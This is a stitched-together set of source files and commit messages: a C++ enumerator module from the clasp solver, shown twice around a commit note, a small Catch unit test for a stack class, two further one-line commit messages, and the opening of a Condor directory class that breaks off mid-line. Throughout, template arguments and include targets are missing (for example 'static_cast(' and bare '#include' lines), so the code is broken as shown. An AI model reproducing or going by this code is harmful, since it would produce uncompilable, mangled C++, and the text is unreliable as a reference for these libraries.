{\n\tsetDisjoint(false);\n}\nEnumerationConstraint::~EnumerationConstraint() { }\nvoid EnumerationConstraint::init(Solver& s, SharedMinimizeData* m, QueuePtr p) {\n\tmini_ = 0;\n\tqueue_ = p;\n\tupMode_ = value_false;\n\theuristic_ = 0;\n\tif (m) {\n\t\tOptParams opt = s.sharedContext()->configuration()->solver(s.id()).opt;\n\t\tmini_ = m->attach(s, opt);\n\t\tif (optimize()) {\n\t\t\tif (opt.type != OptParams::type_bb) { upMode_ |= value_true; }\n\t\t\telse { heuristic_ |= 1; }\n\t\t}\n\t\tif (opt.hasOption(OptParams::heu_sign)) {\n\t\t\tfor (const WeightLiteral* it = m->lits; !isSentinel(it->first); ++it) {\n\t\t\t\ts.setPref(it->first.var(), ValueSet::pref_value, falseValue(it->first));\n\t\t\t}\n\t\t}\n\t\tif (opt.hasOption(OptParams::heu_model)) { heuristic_ |= 2; }\n\t}\n}\nbool EnumerationConstraint::valid(Solver& s) { return !optimize() || mini_->valid(s); }\nvoid EnumerationConstraint::add(Constraint* c) { if (c) { nogoods_.push_back(c); } }\nbool EnumerationConstraint::integrateBound(Solver& s){ return !mini_ || mini_->integrate(s); }\nbool EnumerationConstraint::optimize() const { return mini_ && mini_->shared()->optimize(); }\nvoid EnumerationConstraint::setDisjoint(bool x) { disjoint_ = x; }\nConstraint* EnumerationConstraint::cloneAttach(Solver& s) {\n\tEnumerationConstraint* c = clone();\n\tPOTASSCO_REQUIRE(c != 0, \"Cloning not supported by Enumerator\");\n\tc->init(s, mini_ ? const_cast(mini_->shared()) : 0, queue_.get() ? queue_->clone() : 0);\n\treturn c;\n}\nvoid EnumerationConstraint::end(Solver& s) {\n\tif (mini_) { mini_->relax(s, disjointPath()); }\n\tstate_ = 0;\n\tsetDisjoint(false);\n\tnext_.clear();\n\tif (s.rootLevel() > root_) { s.popRootLevel(s.rootLevel() - root_); }\n}\nbool EnumerationConstraint::start(Solver& s, const LitVec& path, bool disjoint) {\n\tstate_ = 0;\n\troot_ = s.rootLevel();\n\tsetDisjoint(disjoint);\n\tif (s.pushRoot(path) && s.pushRoot(s.sharedContext()->stepLiteral())) {\n\t\tintegrateBound(s);\n\t\treturn true;\n\t}\n\treturn false;\n}\nbool EnumerationConstraint::update(Solver& s) {\n\tValueRep st = state();\n\tif (st == value_true) {\n\t\tif (s.restartOnModel()) { s.undoUntil(0); }\n\t\tif (optimize()) { s.strengthenConditional(); }\n\t}\n\telse if (st == value_false && !s.pushRoot(next_)) {\n\t\tif (!s.hasConflict()) { s.setStopConflict(); }\n\t\treturn false;\n\t}\n\tstate_ = 0;\n\tnext_.clear();\n\tdo {\n\t\tif (!s.hasConflict() && doUpdate(s) && integrateBound(s) && integrateNogoods(s)) {\n\t\t\tif (st == value_true) { modelHeuristic(s); }\n\t\t\treturn true;\n\t\t}\n\t} while (st != value_free && s.hasConflict() && s.resolveConflict());\n\treturn false;\n}\nbool EnumerationConstraint::integrateNogoods(Solver& s) {\n\tif (!queue_.get() || s.hasConflict()) { return !s.hasConflict(); }\n\tconst uint32 f = ClauseCreator::clause_no_add | ClauseCreator::clause_no_release | ClauseCreator::clause_explicit;\n\tfor (SharedLiterals* clause; queue_->pop(clause); ) {\n\t\tClauseCreator::Result res = ClauseCreator::integrate(s, clause, f);\n\t\tif (res.local) { add(res.local);}\n\t\tif (!res.ok()) { return false; }\n\t}\n\treturn true;\n}\nvoid EnumerationConstraint::destroy(Solver* s, bool x) {\n\tif (mini_) { mini_->destroy(s, x); mini_ = 0; }\n\tqueue_ = 0;\n\tClasp::destroyDB(nogoods_, s, x);\n\tConstraint::destroy(s, x);\n}\nbool EnumerationConstraint::simplify(Solver& s, bool reinit) {\n\tif (mini_) { mini_->simplify(s, reinit); }\n\tsimplifyDB(s, nogoods_, reinit);\n\treturn false;\n}\n\nbool EnumerationConstraint::commitModel(Enumerator& ctx, Solver& s) {\n\tif (state() == value_true) { return !next_.empty() && (s.satPrepro()->extendModel(s.model, next_), true); }\n\tif (mini_ && !mini_->handleModel(s)){ return false; }\n\tif (!ctx.tentative()) { doCommitModel(ctx, s); }\n\tnext_ = s.symmetric();\n\tstate_ |= value_true;\n\treturn true;\n}\nbool EnumerationConstraint::commitUnsat(Enumerator& ctx, Solver& s) {\n\tnext_.clear();\n\tstate_ |= value_false;\n\tif (mini_) {\n\t\tmini_->handleUnsat(s, !disjointPath(), next_);\n\t}\n\tif (!ctx.tentative()) {\n\t\tdoCommitUnsat(ctx, s);\n\t}\n\treturn !s.hasConflict() || s.decisionLevel() != s.rootLevel();\n}\nvoid EnumerationConstraint::modelHeuristic(Solver& s) {\n\tconst bool full = heuristic_ > 1;\n\tconst bool heuristic = full || (heuristic_ == 1 && s.queueSize() == 0 && s.decisionLevel() == s.rootLevel());\n\tif (optimize() && heuristic && s.propagate()) {\n\t\tfor (const WeightLiteral* w = mini_->shared()->lits; !isSentinel(w->first); ++w) {\n\t\t\tif (s.value(w->first.var()) == value_free) {\n\t\t\t\ts.assume(~w->first);\n\t\t\t\tif (!full || !s.propagate()) { break; }\n\t\t\t}\n\t\t}\n\t}\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Enumerator\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Model::reset() { std::memset(this, 0, sizeof(Model)); }\nEnumerator::Enumerator() : mini_(0), queue_(0) { model_.reset(); }\nEnumerator::~Enumerator() { delete queue_; }\nvoid Enumerator::setDisjoint(Solver& s, bool b)const { constraintRef(s).setDisjoint(b); }\nvoid Enumerator::setIgnoreSymmetric(bool b) { model_.sym = static_cast(b == false); }\nvoid Enumerator::end(Solver& s) const { constraintRef(s).end(s); }\nvoid Enumerator::doReset() {}\nvoid Enumerator::reset() {\n\tif (mini_) { mini_ = 0; }\n\tif (queue_){ delete queue_; queue_ = 0; }\n\tmodel_.reset();\n\tmodel_.ctx = this;\n\tmodel_.sym = 1;\n\tmodel_.type = uint32(modelType());\n\tmodel_.sId = 0;\n\tdoReset();\n}\nint Enumerator::init(SharedContext& ctx, OptMode oMode, int limit) {\n\tctx.master()->setEnumerationConstraint(0);\n\treset();\n\tif (oMode != MinimizeMode_t::ignore){ mini_ = ctx.minimize(); }\n\tlimit = limit >= 0 ? limit : 1 - int(exhaustive());\n\tif (limit != 1) { ctx.setPreserveModels(true); }\n\tqueue_ = new SharedQueue(ctx.concurrency());\n\tConPtr c = doInit(ctx, mini_, limit);\n\tbool cons = model_.consequences();\n\tif (tentative()) { model_.type = Model::Sat; }\n\telse if (cons && optimize()) { ctx.warn(\"Optimization: Consequences may depend on enumeration order.\"); }\n\tc->init(*ctx.master(), mini_, new ThreadQueue(*queue_));\n\tctx.master()->setEnumerationConstraint(c);\n\treturn limit;\n}\nEnumerator::ConRef Enumerator::constraintRef(const Solver& s) const {\n\tPOTASSCO_ASSERT(s.enumerationConstraint(), \"Solver not attached\");\n\treturn static_cast(*s.enumerationConstraint());\n}\nEnumerator::ConPtr Enumerator::constraint(const Solver& s) const {\n\treturn static_cast(s.enumerationConstraint());\n}\nbool Enumerator::start(Solver& s, const LitVec& path, bool disjointPath) const {\n\treturn constraintRef(s).start(s, path, disjointPath);\n}\nValueRep Enumerator::commit(Solver& s) {\n\tif (s.hasConflict() && s.decisionLevel() == s.rootLevel()) { return commitUnsat(s) ? value_free : value_false; }\n\telse if (s.numFreeVars() == 0 && s.queueSize() == 0 && !s.hasConflict()){ return commitModel(s) ? value_true : value_free; }\n\treturn value_free;\n}\nbool Enumerator::commitModel(Solver& s) {\n\tassert(s.numFreeVars() == 0 && !s.hasConflict() && s.queueSize() == 0);\n\tif (constraintRef(s).commitModel(*this, s)) {\n\t\ts.stats.addModel(s.decisionLevel());\n\t\t++model_.num;\n\t\tmodel_.sId = s.id();\n\t\tmodel_.values = &s.model;\n\t\tmodel_.costs = 0;\n\t\tmodel_.up = 0;\n\t\tif (minimizer()) {\n\t\t\tcosts_.resize(minimizer()->numRules());\n\t\t\tstd::transform(minimizer()->adjust(), minimizer()->adjust()+costs_.size(), minimizer()->sum(), costs_.begin(), std::plus());\n\t\t\tmodel_.costs = &costs_;\n\t\t}\n\t\treturn true;\n\t}\n\treturn false;\n}\nbool Enumerator::commitSymmetric(Solver& s){ return model_.sym && !optimize() && commitModel(s); }\nbool Enumerator::commitUnsat(Solver& s) { return constraintRef(s).commitUnsat(*this, s); }\nbool Enumerator::commitClause(const LitVec& clause) const {\n\treturn queue_ && queue_->pushRelaxed(SharedLiterals::newShareable(clause, Constraint_t::Other));\n}\nbool Enumerator::commitComplete() {\n\tif (enumerated()) {\n\t\tif (tentative()) {\n\t\t\tmini_->markOptimal();\n\t\t\tmodel_.opt = 1;\n\t\t\tmodel_.num = 0;\n\t\t\tmodel_.type= uint32(modelType());\n\t\t\treturn false;\n\t\t}\n\t\telse if (model_.consequences() || (!model_.opt && optimize())) {\n\t\t\tmodel_.opt = uint32(optimize());\n\t\t\tmodel_.def = uint32(model_.consequences());\n\t\t\tmodel_.num = 1;\n\t\t}\n\t}\n\treturn true;\n}\nbool Enumerator::update(Solver& s) const {\n\treturn constraintRef(s).update(s);\n}\nbool Enumerator::supportsSplitting(const SharedContext& ctx) const {\n\tif (!optimize()) { return true; }\n\tconst Configuration* config = ctx.configuration();\n\tbool ok = true;\n\tfor (uint32 i = 0; i != ctx.concurrency() && ok; ++i) {\n\t\tif (ctx.hasSolver(i) && constraint(*ctx.solver(i))){ ok = constraint(*ctx.solver(i))->minimizer()->supportsSplitting(); }\n\t\telse if (config && i < config->numSolver()) { ok = config->solver(i).opt.supportsSplitting(); }\n\t}\n\treturn ok;\n}\nint Enumerator::unsatType() const {\n\treturn !optimize() ? unsat_stop : unsat_cont;\n}\nModel& Enumerator::model() {\n\treturn model_;\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ EnumOptions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEnumerator* EnumOptions::createEnumerator(const EnumOptions& opts) {\n\tif (opts.models()) { return createModelEnumerator(opts);}\n\telse if (opts.consequences()){ return createConsEnumerator(opts); }\n\telse { return nullEnumerator(); }\n}\nEnumerator* EnumOptions::nullEnumerator() {\n\tstruct NullEnum : Enumerator {\n\t\tConPtr doInit(SharedContext&, SharedMinimizeData*, int) {\n\t\t\tstruct Constraint : public EnumerationConstraint {\n\t\t\t\tConstraint() : EnumerationConstraint() {}\n\t\t\t\tConPtr clone() { return new Constraint(); }\n\t\t\t\tbool doUpdate(Solver&){ return true; }\n\t\t\t};\n\t\t\treturn new Constraint();\n\t\t}\n\t};\n\treturn new NullEnum;\n}\n\nconst char* modelType(const Model& m) {\n\tswitch (m.type) {\n\t\tcase Model::Sat : return \"Model\";\n\t\tcase Model::Brave : return \"Brave\";\n\t\tcase Model::Cautious: return \"Cautious\";\n\t\tcase Model::User : return \"User\";\n\t\tdefault: return 0;\n\t}\n}\n\n}\nIntegrate nogoods on Enumerator::start().\/\/\n\/\/ Copyright (c) 2006-2017 Benjamin Kaufmann\n\/\/\n\/\/ This file is part of Clasp. See http:\/\/www.cs.uni-potsdam.de\/clasp\/\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/\n#include \n#include \n#include \n#include \nnamespace Clasp {\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Enumerator - Shared Queue \/ Thread Queue\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass Enumerator::SharedQueue : public mt::MultiQueue {\npublic:\n\ttypedef mt::MultiQueue BaseType;\n\texplicit SharedQueue(uint32 m) : BaseType(m, releaseLits) { reserve(m + 1); }\n\tbool pushRelaxed(SharedLiterals* clause) { unsafePublish(clause); return true; }\n\tstatic void releaseLits(SharedLiterals* x){ x->release(); }\n};\nclass Enumerator::ThreadQueue {\npublic:\n\texplicit ThreadQueue(SharedQueue& q) : queue_(&q) { tail_ = q.addThread(); }\n\tbool pop(SharedLiterals*& out){ return queue_->tryConsume(tail_, out); }\n\tThreadQueue* clone() { return new ThreadQueue(*queue_); }\nprivate:\n\tEnumerator::SharedQueue* queue_;\n\tEnumerator::SharedQueue::ThreadId tail_;\n};\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ EnumerationConstraint\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEnumerationConstraint::EnumerationConstraint() : mini_(0), root_(0), state_(0), upMode_(0), heuristic_(0), disjoint_(false) {\n\tsetDisjoint(false);\n}\nEnumerationConstraint::~EnumerationConstraint() { }\nvoid EnumerationConstraint::init(Solver& s, SharedMinimizeData* m, QueuePtr p) {\n\tmini_ = 0;\n\tqueue_ = p;\n\tupMode_ = value_false;\n\theuristic_ = 0;\n\tif (m) {\n\t\tOptParams opt = s.sharedContext()->configuration()->solver(s.id()).opt;\n\t\tmini_ = m->attach(s, opt);\n\t\tif (optimize()) {\n\t\t\tif (opt.type != OptParams::type_bb) { upMode_ |= value_true; }\n\t\t\telse { heuristic_ |= 1; }\n\t\t}\n\t\tif (opt.hasOption(OptParams::heu_sign)) {\n\t\t\tfor (const WeightLiteral* it = m->lits; !isSentinel(it->first); ++it) {\n\t\t\t\ts.setPref(it->first.var(), ValueSet::pref_value, falseValue(it->first));\n\t\t\t}\n\t\t}\n\t\tif (opt.hasOption(OptParams::heu_model)) { heuristic_ |= 2; }\n\t}\n}\nbool EnumerationConstraint::valid(Solver& s) { return !optimize() || mini_->valid(s); }\nvoid EnumerationConstraint::add(Constraint* c) { if (c) { nogoods_.push_back(c); } }\nbool EnumerationConstraint::integrateBound(Solver& s){ return !mini_ || mini_->integrate(s); }\nbool EnumerationConstraint::optimize() const { return mini_ && mini_->shared()->optimize(); }\nvoid EnumerationConstraint::setDisjoint(bool x) { disjoint_ = x; }\nConstraint* EnumerationConstraint::cloneAttach(Solver& s) {\n\tEnumerationConstraint* c = clone();\n\tPOTASSCO_REQUIRE(c != 0, \"Cloning not supported by Enumerator\");\n\tc->init(s, mini_ ? const_cast(mini_->shared()) : 0, queue_.get() ? queue_->clone() : 0);\n\treturn c;\n}\nvoid EnumerationConstraint::end(Solver& s) {\n\tif (mini_) { mini_->relax(s, disjointPath()); }\n\tstate_ = 0;\n\tsetDisjoint(false);\n\tnext_.clear();\n\tif (s.rootLevel() > root_) { s.popRootLevel(s.rootLevel() - root_); }\n}\nbool EnumerationConstraint::start(Solver& s, const LitVec& path, bool disjoint) {\n\tstate_ = 0;\n\troot_ = s.rootLevel();\n\tsetDisjoint(disjoint);\n\tif (s.pushRoot(path) && s.pushRoot(s.sharedContext()->stepLiteral())) {\n\t\tintegrateBound(s);\n\t\tintegrateNogoods(s);\n\t\treturn true;\n\t}\n\treturn false;\n}\nbool EnumerationConstraint::update(Solver& s) {\n\tValueRep st = state();\n\tif (st == value_true) {\n\t\tif (s.restartOnModel()) { s.undoUntil(0); }\n\t\tif (optimize()) { s.strengthenConditional(); }\n\t}\n\telse if (st == value_false && !s.pushRoot(next_)) {\n\t\tif (!s.hasConflict()) { s.setStopConflict(); }\n\t\treturn false;\n\t}\n\tstate_ = 0;\n\tnext_.clear();\n\tdo {\n\t\tif (!s.hasConflict() && doUpdate(s) && integrateBound(s) && integrateNogoods(s)) {\n\t\t\tif (st == value_true) { modelHeuristic(s); }\n\t\t\treturn true;\n\t\t}\n\t} while (st != value_free && s.hasConflict() && s.resolveConflict());\n\treturn false;\n}\nbool EnumerationConstraint::integrateNogoods(Solver& s) {\n\tif (!queue_.get() || s.hasConflict()) { return !s.hasConflict(); }\n\tconst uint32 f = ClauseCreator::clause_no_add | ClauseCreator::clause_no_release | ClauseCreator::clause_explicit;\n\tfor (SharedLiterals* clause; queue_->pop(clause); ) {\n\t\tClauseCreator::Result res = ClauseCreator::integrate(s, clause, f);\n\t\tif (res.local) { add(res.local);}\n\t\tif (!res.ok()) { return false; }\n\t}\n\treturn true;\n}\nvoid EnumerationConstraint::destroy(Solver* s, bool x) {\n\tif (mini_) { mini_->destroy(s, x); mini_ = 0; }\n\tqueue_ = 0;\n\tClasp::destroyDB(nogoods_, s, x);\n\tConstraint::destroy(s, x);\n}\nbool EnumerationConstraint::simplify(Solver& s, bool reinit) {\n\tif (mini_) { mini_->simplify(s, reinit); }\n\tsimplifyDB(s, nogoods_, reinit);\n\treturn false;\n}\n\nbool EnumerationConstraint::commitModel(Enumerator& ctx, Solver& s) {\n\tif (state() == value_true) { return !next_.empty() && (s.satPrepro()->extendModel(s.model, next_), true); }\n\tif (mini_ && !mini_->handleModel(s)){ return false; }\n\tif (!ctx.tentative()) { doCommitModel(ctx, s); }\n\tnext_ = s.symmetric();\n\tstate_ |= value_true;\n\treturn true;\n}\nbool EnumerationConstraint::commitUnsat(Enumerator& ctx, Solver& s) {\n\tnext_.clear();\n\tstate_ |= value_false;\n\tif (mini_) {\n\t\tmini_->handleUnsat(s, !disjointPath(), next_);\n\t}\n\tif (!ctx.tentative()) {\n\t\tdoCommitUnsat(ctx, s);\n\t}\n\treturn !s.hasConflict() || s.decisionLevel() != s.rootLevel();\n}\nvoid EnumerationConstraint::modelHeuristic(Solver& s) {\n\tconst bool full = heuristic_ > 1;\n\tconst bool heuristic = full || (heuristic_ == 1 && s.queueSize() == 0 && s.decisionLevel() == s.rootLevel());\n\tif (optimize() && heuristic && s.propagate()) {\n\t\tfor (const WeightLiteral* w = mini_->shared()->lits; !isSentinel(w->first); ++w) {\n\t\t\tif (s.value(w->first.var()) == value_free) {\n\t\t\t\ts.assume(~w->first);\n\t\t\t\tif (!full || !s.propagate()) { break; }\n\t\t\t}\n\t\t}\n\t}\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Enumerator\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Model::reset() { std::memset(this, 0, sizeof(Model)); }\nEnumerator::Enumerator() : mini_(0), queue_(0) { model_.reset(); }\nEnumerator::~Enumerator() { delete queue_; }\nvoid Enumerator::setDisjoint(Solver& s, bool b)const { constraintRef(s).setDisjoint(b); }\nvoid Enumerator::setIgnoreSymmetric(bool b) { model_.sym = static_cast(b == false); }\nvoid Enumerator::end(Solver& s) const { constraintRef(s).end(s); }\nvoid Enumerator::doReset() {}\nvoid Enumerator::reset() {\n\tif (mini_) { mini_ = 0; }\n\tif (queue_){ delete queue_; queue_ = 0; }\n\tmodel_.reset();\n\tmodel_.ctx = this;\n\tmodel_.sym = 1;\n\tmodel_.type = uint32(modelType());\n\tmodel_.sId = 0;\n\tdoReset();\n}\nint Enumerator::init(SharedContext& ctx, OptMode oMode, int limit) {\n\tctx.master()->setEnumerationConstraint(0);\n\treset();\n\tif (oMode != MinimizeMode_t::ignore){ mini_ = ctx.minimize(); }\n\tlimit = limit >= 0 ? limit : 1 - int(exhaustive());\n\tif (limit != 1) { ctx.setPreserveModels(true); }\n\tqueue_ = new SharedQueue(ctx.concurrency());\n\tConPtr c = doInit(ctx, mini_, limit);\n\tbool cons = model_.consequences();\n\tif (tentative()) { model_.type = Model::Sat; }\n\telse if (cons && optimize()) { ctx.warn(\"Optimization: Consequences may depend on enumeration order.\"); }\n\tc->init(*ctx.master(), mini_, new ThreadQueue(*queue_));\n\tctx.master()->setEnumerationConstraint(c);\n\treturn limit;\n}\nEnumerator::ConRef Enumerator::constraintRef(const Solver& s) const {\n\tPOTASSCO_ASSERT(s.enumerationConstraint(), \"Solver not attached\");\n\treturn static_cast(*s.enumerationConstraint());\n}\nEnumerator::ConPtr Enumerator::constraint(const Solver& s) const {\n\treturn static_cast(s.enumerationConstraint());\n}\nbool Enumerator::start(Solver& s, const LitVec& path, bool disjointPath) const {\n\treturn constraintRef(s).start(s, path, disjointPath);\n}\nValueRep Enumerator::commit(Solver& s) {\n\tif (s.hasConflict() && s.decisionLevel() == s.rootLevel()) { return commitUnsat(s) ? value_free : value_false; }\n\telse if (s.numFreeVars() == 0 && s.queueSize() == 0 && !s.hasConflict()){ return commitModel(s) ? value_true : value_free; }\n\treturn value_free;\n}\nbool Enumerator::commitModel(Solver& s) {\n\tassert(s.numFreeVars() == 0 && !s.hasConflict() && s.queueSize() == 0);\n\tif (constraintRef(s).commitModel(*this, s)) {\n\t\ts.stats.addModel(s.decisionLevel());\n\t\t++model_.num;\n\t\tmodel_.sId = s.id();\n\t\tmodel_.values = &s.model;\n\t\tmodel_.costs = 0;\n\t\tmodel_.up = 0;\n\t\tif (minimizer()) {\n\t\t\tcosts_.resize(minimizer()->numRules());\n\t\t\tstd::transform(minimizer()->adjust(), minimizer()->adjust()+costs_.size(), minimizer()->sum(), costs_.begin(), std::plus());\n\t\t\tmodel_.costs = &costs_;\n\t\t}\n\t\treturn true;\n\t}\n\treturn false;\n}\nbool Enumerator::commitSymmetric(Solver& s){ return model_.sym && !optimize() && commitModel(s); }\nbool Enumerator::commitUnsat(Solver& s) { return constraintRef(s).commitUnsat(*this, s); }\nbool Enumerator::commitClause(const LitVec& clause) const {\n\treturn queue_ && queue_->pushRelaxed(SharedLiterals::newShareable(clause, Constraint_t::Other));\n}\nbool Enumerator::commitComplete() {\n\tif (enumerated()) {\n\t\tif (tentative()) {\n\t\t\tmini_->markOptimal();\n\t\t\tmodel_.opt = 1;\n\t\t\tmodel_.num = 0;\n\t\t\tmodel_.type= uint32(modelType());\n\t\t\treturn false;\n\t\t}\n\t\telse if (model_.consequences() || (!model_.opt && optimize())) {\n\t\t\tmodel_.opt = uint32(optimize());\n\t\t\tmodel_.def = uint32(model_.consequences());\n\t\t\tmodel_.num = 1;\n\t\t}\n\t}\n\treturn true;\n}\nbool Enumerator::update(Solver& s) const {\n\treturn constraintRef(s).update(s);\n}\nbool Enumerator::supportsSplitting(const SharedContext& ctx) const {\n\tif (!optimize()) { return true; }\n\tconst Configuration* config = ctx.configuration();\n\tbool ok = true;\n\tfor (uint32 i = 0; i != ctx.concurrency() && ok; ++i) {\n\t\tif (ctx.hasSolver(i) && constraint(*ctx.solver(i))){ ok = constraint(*ctx.solver(i))->minimizer()->supportsSplitting(); }\n\t\telse if (config && i < config->numSolver()) { ok = config->solver(i).opt.supportsSplitting(); }\n\t}\n\treturn ok;\n}\nint Enumerator::unsatType() const {\n\treturn !optimize() ? unsat_stop : unsat_cont;\n}\nModel& Enumerator::model() {\n\treturn model_;\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ EnumOptions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEnumerator* EnumOptions::createEnumerator(const EnumOptions& opts) {\n\tif (opts.models()) { return createModelEnumerator(opts);}\n\telse if (opts.consequences()){ return createConsEnumerator(opts); }\n\telse { return nullEnumerator(); }\n}\nEnumerator* EnumOptions::nullEnumerator() {\n\tstruct NullEnum : Enumerator {\n\t\tConPtr doInit(SharedContext&, SharedMinimizeData*, int) {\n\t\t\tstruct Constraint : public EnumerationConstraint {\n\t\t\t\tConstraint() : EnumerationConstraint() {}\n\t\t\t\tConPtr clone() { return new Constraint(); }\n\t\t\t\tbool doUpdate(Solver&){ return true; }\n\t\t\t};\n\t\t\treturn new Constraint();\n\t\t}\n\t};\n\treturn new NullEnum;\n}\n\nconst char* modelType(const Model& m) {\n\tswitch (m.type) {\n\t\tcase Model::Sat : return \"Model\";\n\t\tcase Model::Brave : return \"Brave\";\n\t\tcase Model::Cautious: return \"Cautious\";\n\t\tcase Model::User : return \"User\";\n\t\tdefault: return 0;\n\t}\n}\n\n}\n<|endoftext|>"} {"text":"#include \n#include \n#include \n\/\/using namespace std;\n\nSCENARIO(\"count\", \"[count]\"){\n stack s;\n s.push(1);\n REQUIRE(s.count()==1);\n}\n\nSCENARIO(\"push\", \"[push]\"){\n stack s;\n s.push(1);\n REQUIRE(s.count()==1);\n REQUIRE(s.top()==1);\n}\n\nSCENARIO(\"top\", \"[top]\"){\n stack s;\n s.push(1);\n REQUIRE(s.count()==1);\n REQUIRE(s.top()==1);\n}\n\nSCENARIO(\"pop\", \"[pop]\"){\n stack s;\n s.push(1);\n s.push(2);\n s.pop();\n REQUIRE(s.count()==1);\n REQUIRE(s.top()==1);\n}\n\n\nSCENARIO(\"prisv\", \"[prisv]\"){\n stack s;\n s.push(1);\n stack s2;\n s2=s;\n REQUIRE(s.count()==1);\n REQUIRE(s.top()==1);\n}\nSCENARIO(\"copy\", \"[copy]\"){\n stack s;\n s.push(1);\n stack a = s;\n REQUIRE(a.count()==1);\n REQUIRE(a.top()==1);\n}\nSCENARIO(\"test\", \"[test]\"){\n stack s;\n REQUIRE(s.count()==0);\n}\nSCENARIO(\"empty\", \"[empty]\"){\n stack s;\n REQUIRE(s.empty()==true);\n}\nDelete init.cpp<|endoftext|>"} {"text":"Fix for param array support in effects for GL<|endoftext|>"} {"text":"#define _POSIX_SOURCE\n\n#include \"condor_common.h\"\n#include \"condor_debug.h\"\n#include \"directory.h\"\n\nstatic char *_FileName_ = __FILE__; \/* Used by EXCEPT (see except.h) *\/\n\n\nDirectory::Directory( const char *name )\n{\n\tdirp = opendir( name );\n\tif( dirp == NULL ) {\n\t\tEXCEPT( \"Can't open 